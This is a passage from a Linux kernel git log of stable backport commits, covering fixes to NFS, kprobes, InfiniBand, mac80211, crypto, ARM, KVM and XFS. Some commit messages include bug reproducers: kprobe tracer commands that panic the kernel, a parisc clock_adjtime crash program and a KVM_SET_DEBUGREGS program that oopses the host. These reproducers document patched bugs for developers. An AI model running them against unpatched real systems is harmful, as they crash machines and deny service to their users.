fails to trigger an OPEN_DOWNGRADE on the wire, and only triggers the final CLOSE. fd0 = open(foo, RDRW) -- should be open on the wire for "both" fd1 = open(foo, RDONLY) -- should be open on the wire for "read" close(fd0) -- should trigger an open_downgrade read(fd1) close(fd1) The issue is that we're missing a check for whether or not the current state transitioned from an O_RDWR state as opposed to having transitioned from a combination of O_RDONLY and O_WRONLY. Reported-by: Olga Kornievskaia Fixes: cd9288ffaea4 ("NFSv4: Fix another bug in the close/open_downgrade code") Cc: stable@vger.kernel.org # 2.6.33+ Signed-off-by: Trond Myklebust Signed-off-by: Anna Schumaker Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7dd88295bfddf21ec3d4e95de58c87c20fa11b44 Author: Borislav Petkov Date: Thu Jun 16 19:13:49 2016 +0200 x86/amd_nb: Fix boot crash on non-AMD systems commit 1ead852dd88779eda12cb09cc894a03d9abfe1ec upstream. Fix boot crash that triggers if this driver is built into a kernel and run on non-AMD systems. AMD northbridges users call amd_cache_northbridges() and it returns a negative value to signal that we weren't able to cache/detect any northbridges on the system. At least, it should do so as all its callers expect it to do so. But it does return a negative value only when kmalloc() fails. Fix it to return -ENODEV if there are no NBs cached as otherwise, amd_nb users like amd64_edac, for example, which relies on it to know whether it should load or not, gets loaded on systems like Intel Xeons where it shouldn't. Reported-and-tested-by: Tony Battersby Signed-off-by: Borislav Petkov Cc: Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1466097230-5333-2-git-send-email-bp@alien8.de Link: https://lkml.kernel.org/r/5761BEB0.9000807@cybernetics.com Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0407047daf788739e5046c2b60b24d0cbc5f4c9b Author: Masami Hiramatsu Date: Sat Jun 11 23:06:53 2016 +0900 kprobes/x86: Clear TF bit in fault on single-stepping commit dcfc47248d3f7d28df6f531e6426b933de94370d upstream. Fix kprobe_fault_handler() to clear the TF (trap flag) bit of the flags register in the case of a fault fixup on single-stepping. If we put a kprobe on the instruction which caused a page fault (e.g. actual mov instructions in copy_user_*), that fault happens on the single-stepping buffer. In this case, kprobes resets running instance so that the CPU can retry execution on the original ip address. However, current code forgets to reset the TF bit. Since this fault happens with TF bit set for enabling single-stepping, when it retries, it causes a debug exception and kprobes can not handle it because it already reset itself. On the most of x86-64 platform, it can be easily reproduced by using kprobe tracer. E.g. # cd /sys/kernel/debug/tracing # echo p copy_user_enhanced_fast_string+5 > kprobe_events # echo 1 > events/kprobes/enable And you'll see a kernel panic on do_debug(), since the debug trap is not handled by kprobes. To fix this problem, we just need to clear the TF bit when resetting running kprobe. Signed-off-by: Masami Hiramatsu Reviewed-by: Ananth N Mavinakayanahalli Acked-by: Steven Rostedt Cc: Alexander Shishkin Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: systemtap@sourceware.org Cc: stable@vger.kernel.org # All the way back to ancient kernels Link: http://lkml.kernel.org/r/20160611140648.25885.37482.stgit@devbox [ Updated the comments. ] Signed-off-by: Ingo Molnar Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 509e1036d1675e9018b5825b7f91bfa980bcb76c Author: H. Peter Anvin Date: Tue Apr 5 17:01:33 2016 -0700 x86, build: copy ldlinux.c32 to image.iso commit 9c77679cadb118c0aa99e6f88533d91765a131ba upstream. For newer versions of Syslinux, we need ldlinux.c32 in addition to isolinux.bin to reside on the boot disk, so if the latter is found, copy it, too, to the isoimage tree. Signed-off-by: H. Peter Anvin Cc: Linux Stable Tree Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit a9421e7a709215257a2aaf6149cf62e2491b3736 Author: Yishai Hadas Date: Wed Jun 22 17:27:28 2016 +0300 IB/mlx4: Fix the SQ size of an RC QP commit f2940e2c76bb554a7fbdd28ca5b90904117a9e96 upstream. When calculating the required size of an RC QP send queue, leave enough space for masked atomic operations, which require more space than "regular" atomic operation. Fixes: 6fa8f719844b ("IB/mlx4: Add support for masked atomic operations") Signed-off-by: Yishai Hadas Reviewed-by: Jack Morgenstein Reviewed-by: Eran Ben Elisha Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b4fc37b3cb00a7aabb794d909eca9e586b4454b5 Author: Erez Shitrit Date: Sat Jun 4 15:15:19 2016 +0300 IB/IPoIB: Don't update neigh validity for unresolved entries commit 61c78eea9516a921799c17b4c20558e2aa780fd3 upstream. ipoib_neigh_get unconditionally updates the "alive" variable member on any packet send. This prevents the neighbor garbage collection from cleaning out a dead neighbor entry if we are still queueing packets for it. If the queue for this neighbor is full, then don't update the alive timestamp. That way the neighbor can time out even if packets are still being queued as long as none of them are being sent. Fixes: b63b70d87741 ("IPoIB: Use a private hash table for path lookup in xmit path") Signed-off-by: Erez Shitrit Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 7162960b2c1fea48885ced048d7c676e07263916 Author: Jason Gunthorpe Date: Sun Apr 10 19:13:13 2016 -0600 IB/security: Restrict use of the write() interface commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3 upstream. The drivers/infiniband stack uses write() as a replacement for bi-directional ioctl(). This is not safe. There are ways to trigger write calls that result in the return structure that is normally written to user space being shunted off to user specified kernel memory instead. For the immediate repair, detect and deny suspicious accesses to the write API. For long term, update the user space libraries and the kernel API to something that doesn't present the same security vulnerabilities (likely a structured ioctl() interface). The impacted uAPI interfaces are generally only available if hardware from drivers/infiniband is installed in the system. Reported-by: Jann Horn Signed-off-by: Linus Torvalds Signed-off-by: Jason Gunthorpe [ Expanded check to all known write() entry points ] Cc: stable@vger.kernel.org Signed-off-by: Doug Ledford [wt: no hfi1 subdir in 3.10. A minimal rdma/ib.h had to be created from 3.11 sources to keep the code similar to mainline] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 3b4e24c75c2631228a6a685decbbfbcb9602d1ca Author: Jason Gunthorpe Date: Wed Jun 8 17:28:29 2016 -0600 IB/mlx4: Properly initialize GRH TClass and FlowLabel in AHs commit 8c5122e45a10a9262f872b53f151a592e870f905 upstream. When this code was reworked for IBoE support the order of assignments for the sl_tclass_flowlabel got flipped around resulting in TClass & FlowLabel being permanently set to 0 in the packet headers. This breaks IB routers that rely on these headers, but only affects kernel users - libmlx4 does this properly for user space. Cc: stable@vger.kernel.org Fixes: fa417f7b520e ("IB/mlx4: Add support for IBoE") Signed-off-by: Jason Gunthorpe Signed-off-by: Doug Ledford Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b589d753bdcbf24a75b306ad657f3ec1b7476097 Author: Martin Willi Date: Fri May 13 12:41:48 2016 +0200 mac80211_hwsim: Add missing check for HWSIM_ATTR_SIGNAL commit 62397da50bb20a6b812c949ef465d7e69fe54bb6 upstream. A wmediumd that does not send this attribute causes a NULL pointer dereference, as the attribute is accessed even if it does not exist. The attribute was required but never checked ever since userspace frame forwarding has been introduced. The issue gets more problematic once we allow wmediumd registration from user namespaces. Fixes: 7882513bacb1 ("mac80211_hwsim driver support userspace frame tx/rx") Signed-off-by: Martin Willi Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit b97230f42c27fc59e80c72c23f57e4a3bb6c8631 Author: Bob Copeland Date: Sun May 15 13:19:16 2016 -0400 mac80211: mesh: flush mesh paths unconditionally commit fe7a7c57629e8dcbc0e297363a9b2366d67a6dc5 upstream. Currently, the mesh paths associated with a nexthop station are cleaned up in the following code path: __sta_info_destroy_part1 synchronize_net() __sta_info_destroy_part2 -> cleanup_single_sta -> mesh_sta_cleanup -> mesh_plink_deactivate -> mesh_path_flush_by_nexthop However, there are a couple of problems here: 1) the paths aren't flushed at all if the MPM is running in userspace (e.g. when using wpa_supplicant or authsae) 2) there is no synchronize_rcu between removing the path and readers accessing the nexthop, which means the following race is possible: CPU0 CPU1 ~~~~ ~~~~ sta_info_destroy_part1() synchronize_net() rcu_read_lock() mesh_nexthop_resolve() mpath = mesh_path_lookup() [...] -> mesh_path_flush_by_nexthop() sta = rcu_dereference( mpath->next_hop) kfree(sta) access sta <-- CRASH Fix both of these by unconditionally flushing paths before destroying the sta, and by adding a synchronize_net() after path flush to ensure no active readers can still dereference the sta. Fixes this crash: [ 348.529295] BUG: unable to handle kernel paging request at 00020040 [ 348.530014] IP: [] ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] [ 348.530014] *pde = 00000000 [ 348.530014] Oops: 0000 [#1] PREEMPT [ 348.530014] Modules linked in: drbg ansi_cprng ctr ccm ppp_generic slhc ipt_MASQUERADE nf_nat_masquerade_ipv4 8021q ] [ 348.530014] CPU: 0 PID: 20597 Comm: wget Tainted: G O 4.6.0-rc5-wt=V1 #1 [ 348.530014] Hardware name: To Be Filled By O.E.M./To be filled by O.E.M., BIOS 080016 11/07/2014 [ 348.530014] task: f64fa280 ti: f4f9c000 task.ti: f4f9c000 [ 348.530014] EIP: 0060:[] EFLAGS: 00010246 CPU: 0 [ 348.530014] EIP is at ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] [ 348.530014] EAX: f4ce63e0 EBX: 00000088 ECX: f3788416 EDX: 00020008 [ 348.530014] ESI: 00000000 EDI: 00000088 EBP: f6409a4c ESP: f6409a40 [ 348.530014] DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 [ 348.530014] CR0: 80050033 CR2: 00020040 CR3: 33190000 CR4: 00000690 [ 348.530014] Stack: [ 348.530014] 00000000 f4ce63e0 f5f9bd80 f6409a64 f9291d80 0000ce67 f5d51e00 f4ce63e0 [ 348.530014] f3788416 f6409a80 f9291dc1 f4ce8320 f4ce63e0 f5d51e00 f4ce63e0 f4ce8320 [ 348.530014] f6409a98 f9277f6f 00000000 00000000 0000007c 00000000 f6409b2c f9278dd1 [ 348.530014] Call Trace: [ 348.530014] [] mesh_nexthop_lookup+0xbb/0xc8 [mac80211] [ 348.530014] [] mesh_nexthop_resolve+0x34/0xd8 [mac80211] [ 348.530014] [] ieee80211_xmit+0x92/0xc1 [mac80211] [ 348.530014] [] __ieee80211_subif_start_xmit+0x807/0x83c [mac80211] [ 348.530014] [] ? sch_direct_xmit+0xd7/0x1b3 [ 348.530014] [] ? __local_bh_enable_ip+0x5d/0x7b [ 348.530014] [] ? nf_nat_ipv4_out+0x4c/0xd0 [nf_nat_ipv4] [ 348.530014] [] ? iptable_nat_ipv4_fn+0xf/0xf [iptable_nat] [ 348.530014] [] ? netif_skb_features+0x14d/0x30a [ 348.530014] [] ieee80211_subif_start_xmit+0xa/0xe [mac80211] [ 348.530014] [] dev_hard_start_xmit+0x1f8/0x267 [ 348.530014] [] ? validate_xmit_skb.isra.120.part.121+0x10/0x253 [ 348.530014] [] sch_direct_xmit+0x8b/0x1b3 [ 348.530014] [] __dev_queue_xmit+0x2c8/0x513 [ 348.530014] [] dev_queue_xmit+0xa/0xc [ 348.530014] [] batadv_send_skb_packet+0xd6/0xec [batman_adv] [ 348.530014] [] batadv_send_unicast_skb+0x15/0x4a [batman_adv] [ 348.530014] [] batadv_dat_send_data+0x27e/0x310 [batman_adv] [ 348.530014] [] ? batadv_tt_global_hash_find.isra.11+0x8/0xa [batman_adv] [ 348.530014] [] batadv_dat_snoop_outgoing_arp_request+0x208/0x23d [batman_adv] [ 348.530014] [] batadv_interface_tx+0x206/0x385 [batman_adv] [ 348.530014] [] dev_hard_start_xmit+0x1f8/0x267 [ 348.530014] [] ? validate_xmit_skb.isra.120.part.121+0x10/0x253 [ 348.530014] [] sch_direct_xmit+0x8b/0x1b3 [ 348.530014] [] __dev_queue_xmit+0x2c8/0x513 [ 348.530014] [] ? igb_xmit_frame+0x57/0x72 [igb] [ 348.530014] [] dev_queue_xmit+0xa/0xc [ 348.530014] [] br_dev_queue_push_xmit+0xeb/0xfb [bridge] [ 348.530014] [] br_forward_finish+0x29/0x74 [bridge] [ 348.530014] [] ? deliver_clone+0x3b/0x3b [bridge] [ 348.530014] [] __br_forward+0x89/0xe7 [bridge] [ 348.530014] [] ? br_dev_queue_push_xmit+0xfb/0xfb [bridge] [ 348.530014] [] deliver_clone+0x34/0x3b [bridge] [ 348.530014] [] ? br_flood+0x95/0x95 [bridge] [ 348.530014] [] br_flood+0x77/0x95 [bridge] [ 348.530014] [] br_flood_forward+0x13/0x1a [bridge] [ 348.530014] [] ? br_flood+0x95/0x95 [bridge] [ 348.530014] [] br_handle_frame_finish+0x392/0x3db [bridge] [ 348.530014] [] ? nf_iterate+0x2b/0x6b [ 348.530014] [] br_handle_frame+0x1e6/0x240 [bridge] [ 348.530014] [] ? br_handle_local_finish+0x6a/0x6a [bridge] [ 348.530014] [] __netif_receive_skb_core+0x43a/0x66b [ 348.530014] [] ? br_handle_frame_finish+0x3db/0x3db [bridge] [ 348.530014] [] ? resched_curr+0x19/0x37 [ 348.530014] [] ? check_preempt_wakeup+0xbf/0xfe [ 348.530014] [] ? ktime_get_with_offset+0x5c/0xfc [ 348.530014] [] __netif_receive_skb+0x47/0x55 [ 348.530014] [] netif_receive_skb_internal+0x40/0x5a [ 348.530014] [] napi_gro_receive+0x3a/0x94 [ 348.530014] [] igb_poll+0x6fd/0x9ad [igb] [ 348.530014] [] ? swake_up_locked+0x14/0x26 [ 348.530014] [] net_rx_action+0xde/0x250 [ 348.530014] [] __do_softirq+0x8a/0x163 [ 348.530014] [] ? __hrtimer_tasklet_trampoline+0x19/0x19 [ 348.530014] [] do_softirq_own_stack+0x26/0x2c [ 348.530014] [ 348.530014] [] irq_exit+0x31/0x6f [ 348.530014] [] do_IRQ+0x8d/0xa0 [ 348.530014] [] common_interrupt+0x2c/0x40 [ 348.530014] Code: e7 8c 00 66 81 ff 88 00 75 12 85 d2 75 0e b2 c3 b8 83 e9 29 f9 e8 a7 5f f9 c6 eb 74 66 81 e3 8c 005 [ 348.530014] EIP: [] ieee80211_mps_set_frame_flags+0x40/0xaa [mac80211] SS:ESP 0068:f6409a40 [ 348.530014] CR2: 0000000000020040 [ 348.530014] ---[ end trace 48556ac26779732e ]--- [ 348.530014] Kernel panic - not syncing: Fatal exception in interrupt [ 348.530014] Kernel Offset: disabled Reported-by: Fred Veldini Tested-by: Fred Veldini Signed-off-by: Bob Copeland Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit c7d5e9616db7c030951fe6b91b73bee543825dd3 Author: Feng Tang Date: Fri Jun 24 15:26:05 2016 +0800 net: alx: Work around the DMA RX overflow issue commit 881d0327db37ad917a367c77aff1afa1ee41e0a9 upstream. Note: This is a verified backported patch for stable 4.4 kernel, and it could also be applied to 4.3/4.2/4.1/3.18/3.16 There is a problem with alx devices, that the network link will be lost in 1-5 minutes after the device is up. >From debugging without datasheet, we found the error always happen when the DMA RX address is set to 0x....fc0, which is very likely to be a HW/silicon problem. This patch will apply rx skb with 64 bytes longer space, and if the allocated skb has a 0x...fc0 address, it will use skb_resever(skb, 64) to advance the address, so that the RX overflow can be avoided. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=70761 Signed-off-by: Feng Tang Suggested-by: Eric Dumazet Tested-by: Ole Lukoie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 80a40a1f188c1d9f046441726237a9dfc3f7b7bd Author: Tom Goff Date: Thu Jun 23 16:11:57 2016 -0400 ipmr/ip6mr: Initialize the last assert time of mfc entries. commit 70a0dec45174c976c64b4c8c1d0898581f759948 upstream. This fixes wrong-interface signaling on 32-bit platforms for entries created when jiffies > 2^31 + MFC_ASSERT_THRESH. Signed-off-by: Tom Goff Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6621624f950cbed950e0ce42222903f2d9f70a06 Author: Simon Horman Date: Thu Jun 16 17:06:19 2016 +0900 sit: correct IP protocol used in ipip6_err commit d5d8760b78d0cfafe292f965f599988138b06a70 upstream. Since 32b8a8e59c9c ("sit: add IPv4 over IPv4 support") ipip6_err() may be called for packets whose IP protocol is IPPROTO_IPIP as well as those whose IP protocol is IPPROTO_IPV6. In the case of IPPROTO_IPIP packets the correct protocol value is not passed to ipv4_update_pmtu() or ipv4_redirect(). This patch resolves this problem by using the IP protocol of the packet rather than a hard-coded value. This appears to be consistent with the usage of the protocol of a packet by icmp_socket_deliver() the caller of ipip6_err(). I was able to exercise the redirect case by using a setup where an ICMP redirect was received for the destination of the encapsulated packet. However, it appears that although incorrect the protocol field is not used in this case and thus no problem manifests. On inspection it does not appear that a problem will manifest in the fragmentation needed/update pmtu case either. In short I believe this is a cosmetic fix. None the less, the use of IPPROTO_IPV6 seems wrong and confusing. Reviewed-by: Dinan Gunawardena Signed-off-by: Simon Horman Acked-by: YOSHIFUJI Hideaki Signed-off-by: David S. Miller Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 5abaddc29e2883d3866c3691241eb1de5d10c26c Author: Herbert Xu Date: Tue Jul 12 13:17:57 2016 +0800 crypto: scatterwalk - Fix test in scatterwalk_done commit 5f070e81bee35f1b7bd1477bb223a873ff657803 upstream. When there is more data to be processed, the current test in scatterwalk_done may prevent us from calling pagedone even when we should. In particular, if we're on an SG entry spanning multiple pages where the last page is not a full page, we will incorrectly skip calling pagedone on the second last page. This patch fixes this by adding a separate test for whether we've reached the end of a page. Cc: stable@vger.kernel.org Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 0a9699c4f2eee643ab8f9bd8825837e42a819fc7 Author: Herbert Xu Date: Wed Jun 15 22:27:05 2016 +0800 crypto: gcm - Filter out async ghash if necessary commit b30bdfa86431afbafe15284a3ad5ac19b49b88e3 upstream. As it is if you ask for a sync gcm you may actually end up with an async one because it does not filter out async implementations of ghash. This patch fixes this by adding the necessary filter when looking for ghash. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 54091cfee4eed96ae7c131ffbcf5ef49be91ff82 Author: Linus Walleij Date: Wed Jun 8 14:56:39 2016 +0200 crypto: ux500 - memmove the right size commit 19ced623db2fe91604d69f7d86b03144c5107739 upstream. The hash buffer is really HASH_BLOCK_SIZE bytes, someone must have thought that memmove takes n*u32 words by mistake. Tests work as good/bad as before after this patch. Cc: Joakim Bech Cc: stable@vger.kernel.org Reported-by: David Binderman Signed-off-by: Linus Walleij Signed-off-by: Herbert Xu Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit d9ad0142eadd94cae79be17ee57b588183f0b5f3 Author: Al Viro Date: Tue Jun 7 21:26:55 2016 -0400 fix d_walk()/non-delayed __d_free() race commit 3d56c25e3bb0726a5c5e16fc2d9e38f8ed763085 upstream. Ascend-to-parent logics in d_walk() depends on all encountered child dentries not getting freed without an RCU delay. Unfortunately, in quite a few cases it is not true, with hard-to-hit oopsable race as the result. Fortunately, the fix is simiple; right now the rule is "if it ever been hashed, freeing must be delayed" and changing it to "if it ever had a parent, freeing must be delayed" closes that hole and covers all cases the old rule used to cover. Moreover, pipes and sockets remain _not_ covered, so we do not introduce RCU delay in the cases which are the reason for having that delay conditional in the first place. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman [wt: add the required change to __d_materialise_dentry() for kernels older than v3.17] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 577120bef143028c752c47af1ac815c30a9e28b7 Author: Helge Deller Date: Sat Jun 4 17:21:33 2016 +0200 parisc: Fix pagefault crash in unaligned __get_user() call commit 8b78f260887df532da529f225c49195d18fef36b upstream. One of the debian buildd servers had this crash in the syslog without any other information: Unaligned handler failed, ret = -2 clock_adjtime (pid 22578): Unaligned data reference (code 28) CPU: 1 PID: 22578 Comm: clock_adjtime Tainted: G E 4.5.0-2-parisc64-smp #1 Debian 4.5.4-1 task: 000000007d9960f8 ti: 00000001bde7c000 task.ti: 00000001bde7c000 YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI PSW: 00001000000001001111100000001111 Tainted: G E r00-03 000000ff0804f80f 00000001bde7c2b0 00000000402d2be8 00000001bde7c2b0 r04-07 00000000409e1fd0 00000000fa6f7fff 00000001bde7c148 00000000fa6f7fff r08-11 0000000000000000 00000000ffffffff 00000000fac9bb7b 000000000002b4d4 r12-15 000000000015241c 000000000015242c 000000000000002d 00000000fac9bb7b r16-19 0000000000028800 0000000000000001 0000000000000070 00000001bde7c218 r20-23 0000000000000000 00000001bde7c210 0000000000000002 0000000000000000 r24-27 0000000000000000 0000000000000000 00000001bde7c148 00000000409e1fd0 r28-31 0000000000000001 00000001bde7c320 00000001bde7c350 00000001bde7c218 sr00-03 0000000001200000 0000000001200000 0000000000000000 0000000001200000 sr04-07 0000000000000000 0000000000000000 0000000000000000 0000000000000000 IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402d2e84 00000000402d2e88 IIR: 0ca0d089 ISR: 0000000001200000 IOR: 00000000fa6f7fff CPU: 1 CR30: 00000001bde7c000 CR31: ffffffffffffffff ORIG_R28: 00000002369fe628 IAOQ[0]: compat_get_timex+0x2dc/0x3c0 IAOQ[1]: compat_get_timex+0x2e0/0x3c0 RP(r2): compat_get_timex+0x40/0x3c0 Backtrace: [<00000000402d4608>] compat_SyS_clock_adjtime+0x40/0xc0 [<0000000040205024>] syscall_exit+0x0/0x14 This means the userspace program clock_adjtime called the clock_adjtime() syscall and then crashed inside the compat_get_timex() function. Syscalls should never crash programs, but instead return EFAULT. The IIR register contains the executed instruction, which disassebles into "ldw 0(sr3,r5),r9". This load-word instruction is part of __get_user() which tried to read the word at %r5/IOR (0xfa6f7fff). This means the unaligned handler jumped in. The unaligned handler is able to emulate all ldw instructions, but it fails if it fails to read the source e.g. because of page fault. The following program reproduces the problem: #define _GNU_SOURCE #include #include #include int main(void) { /* allocate 8k */ char *ptr = mmap(NULL, 2*4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); /* free second half (upper 4k) and make it invalid. */ munmap(ptr+4096, 4096); /* syscall where first int is unaligned and clobbers into invalid memory region */ /* syscall should return EFAULT */ return syscall(__NR_clock_adjtime, 0, ptr+4095); } To fix this issue we simply need to check if the faulting instruction address is in the exception fixup table when the unaligned handler failed. If it is, call the fixup routine instead of crashing. While looking at the unaligned handler I found another issue as well: The target register should not be modified if the handler was unsuccessful. Signed-off-by: Helge Deller Cc: stable@vger.kernel.org Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e29f2017cd62fe700fdf1883e7d5e0101ae653a7 Author: Dave Weinstein Date: Thu Jul 28 11:55:41 2016 -0700 arm: oabi compat: add missing access checks commit 7de249964f5578e67b99699c5f0b405738d820a2 upstream. Add access checks to sys_oabi_epoll_wait() and sys_oabi_semtimedop(). This fixes CVE-2016-3857, a local privilege escalation under CONFIG_OABI_COMPAT. Cc: stable@vger.kernel.org Reported-by: Chiachih Wu Reviewed-by: Kees Cook Reviewed-by: Nicolas Pitre Signed-off-by: Dave Weinstein Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 798871ec8eb48ad0edd8091b7eb1355e1603bfb6 Author: Russell King Date: Mon May 30 23:14:56 2016 +0100 ARM: fix PTRACE_SETVFPREGS on SMP systems commit e2dfb4b880146bfd4b6aa8e138c0205407cebbaf upstream. PTRACE_SETVFPREGS fails to properly mark the VFP register set to be reloaded, because it undoes one of the effects of vfp_flush_hwstate(). Specifically vfp_flush_hwstate() sets thread->vfpstate.hard.cpu to an invalid CPU number, but vfp_set() overwrites this with the original CPU number, thereby rendering the hardware state as apparently "valid", even though the software state is more recent. Fix this by reverting the previous change. Cc: Fixes: 8130b9d7b9d8 ("ARM: 7308/1: vfp: flush thread hwstate before copying ptrace registers") Acked-by: Will Deacon Tested-by: Simon Marchi Signed-off-by: Russell King Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit ac46dba61766f1b84c9da3a20721ec113b6a0033 Author: Paolo Bonzini Date: Wed Jun 1 14:09:23 2016 +0200 KVM: x86: fix OOPS after invalid KVM_SET_DEBUGREGS commit d14bdb553f9196169f003058ae1cdabe514470e6 upstream. MOV to DR6 or DR7 causes a #GP if an attempt is made to write a 1 to any of bits 63:32. However, this is not detected at KVM_SET_DEBUGREGS time, and the next KVM_RUN oopses: general protection fault: 0000 [#1] SMP CPU: 2 PID: 14987 Comm: a.out Not tainted 4.4.9-300.fc23.x86_64 #1 Hardware name: LENOVO 2325F51/2325F51, BIOS G2ET32WW (1.12 ) 05/30/2012 [...] Call Trace: [] kvm_arch_vcpu_ioctl_run+0x141d/0x14e0 [kvm] [] kvm_vcpu_ioctl+0x33d/0x620 [kvm] [] do_vfs_ioctl+0x298/0x480 [] SyS_ioctl+0x79/0x90 [] entry_SYSCALL_64_fastpath+0x12/0x71 Code: 55 83 ff 07 48 89 e5 77 27 89 ff ff 24 fd 90 87 80 81 0f 23 fe 5d c3 0f 23 c6 5d c3 0f 23 ce 5d c3 0f 23 d6 5d c3 0f 23 de 5d c3 <0f> 23 f6 5d c3 0f 0b 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 RIP [] native_set_debugreg+0x2b/0x40 RSP Testcase (beautified/reduced from syzkaller output): #include #include #include #include #include #include #include long r[8]; int main() { struct kvm_debugregs dr = { 0 }; r[2] = open("/dev/kvm", O_RDONLY); r[3] = ioctl(r[2], KVM_CREATE_VM, 0); r[4] = ioctl(r[3], KVM_CREATE_VCPU, 7); memcpy(&dr, "\x5d\x6a\x6b\xe8\x57\x3b\x4b\x7e\xcf\x0d\xa1\x72" "\xa3\x4a\x29\x0c\xfc\x6d\x44\x00\xa7\x52\xc7\xd8" "\x00\xdb\x89\x9d\x78\xb5\x54\x6b\x6b\x13\x1c\xe9" "\x5e\xd3\x0e\x40\x6f\xb4\x66\xf7\x5b\xe3\x36\xcb", 48); r[7] = ioctl(r[4], KVM_SET_DEBUGREGS, &dr); r[6] = ioctl(r[4], KVM_RUN, 0); } Reported-by: Dmitry Vyukov Signed-off-by: Paolo Bonzini Signed-off-by: Radim KrÄÂmář Signed-off-by: Greg Kroah-Hartman Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 6d3b2527eae83f8c0fc1fdadd1adf5a9278efff5 Author: Dave Chinner Date: Wed May 18 13:54:23 2016 +1000 xfs: skip stale inodes in xfs_iflush_cluster commit 7d3aa7fe970791f1a674b14572a411accf2f4d4e upstream. We don't write back stale inodes so we should skip them in xfs_iflush_cluster, too. cc: # 3.10.x- Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 84d6193e127505b5d4b38e0ee62eeea98bcf72ea Author: Dave Chinner Date: Wed May 18 13:54:22 2016 +1000 xfs: fix inode validity check in xfs_iflush_cluster commit 51b07f30a71c27405259a0248206ed4e22adbee2 upstream. Some careless idiot(*) wrote crap code in commit 1a3e8f3 ("xfs: convert inode cache lookups to use RCU locking") back in late 2010, and so xfs_iflush_cluster checks the wrong inode for whether it is still valid under RCU protection. Fix it to lock and check the correct inode. (*) Careless-idiot: Dave Chinner cc: # 3.10.x- Discovered-by: Brain Foster Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit e3824534790db69423401d1a1d505fcf6f5db094 Author: Dave Chinner Date: Wed May 18 13:53:42 2016 +1000 xfs: xfs_iflush_cluster fails to abort on error commit b1438f477934f5a4d5a44df26f3079a7575d5946 upstream. When a failure due to an inode buffer occurs, the error handling fails to abort the inode writeback correctly. This can result in the inode being reclaimed whilst still in the AIL, leading to use-after-free situations as well as filesystems that cannot be unmounted as the inode log items left in the AIL never get removed. Fix this by ensuring fatal errors from xfs_imap_to_bp() result in the inode flush being aborted correctly. Reported-by: Shyam Kaushik Diagnosed-by: Shyam Kaushik Tested-by: Shyam Kaushik Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman [wt: in kernels < 3.17, the error sign is positive, not negative] Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 4278b4a8719b84528d04cea007eeabb35b1cf386 Author: Ville Syrjälä Date: Thu May 26 15:16:25 2016 -0700 dma-debug: avoid spinlock recursion when disabling dma-debug commit 3017cd63f26fc655d56875aaf497153ba60e9edf upstream. With netconsole (at least) the pr_err("... disablingn") call can recurse back into the dma-debug code, where it'll try to grab free_entries_lock again. Avoid the problem by doing the printk after dropping the lock. Link: http://lkml.kernel.org/r/1463678421-18683-1-git-send-email-ville.syrjala@linux.intel.com Signed-off-by: Ville Syrjälä Cc: Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 66b4527648645412ec97a5d55a6ed940156507b5 Author: Vegard Nossum Date: Thu Jul 14 23:02:47 2016 -0400 ext4: fix reference counting bug on block allocation error commit 554a5ccc4e4a20c5f3ec859de0842db4b4b9c77e upstream. If we hit this error when mounted with errors=continue or errors=remount-ro: EXT4-fs error (device loop0): 